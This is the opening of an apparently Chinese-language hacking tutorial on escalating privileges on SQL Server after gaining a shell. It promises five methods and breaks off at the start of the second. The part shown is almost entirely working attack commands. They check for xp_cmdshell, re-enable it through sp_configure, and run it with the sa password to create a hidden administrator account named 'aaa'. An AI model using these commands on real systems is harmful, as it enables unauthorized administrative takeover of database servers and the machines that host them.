本文记录针对SQL Server数据库,在拿到shell之后进行提权的5种方法。
一、 xp_cmdshell提权
上面的数据库连接需要知道sa的密码,连接之后,在下面的sql命令处执行:
exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'
就能成功的创建一个账户aaa并且加到管理员组:
常见问题:
如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;
返回1是存在的,返回0则需要通过xplog70.dll恢复。
然后需要开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1 ;
Reconfigure;
EXEC sp_configure 'xp_cmdshell', 1 ; --开启xp_cmdshell,如果关闭,需要将这里的1改为"0"
RECONFIGURE ; --以上命令开启用xp_cmdshell
这四条语句一起执行,然后语句中间没有空格,执行后可启用。
二、s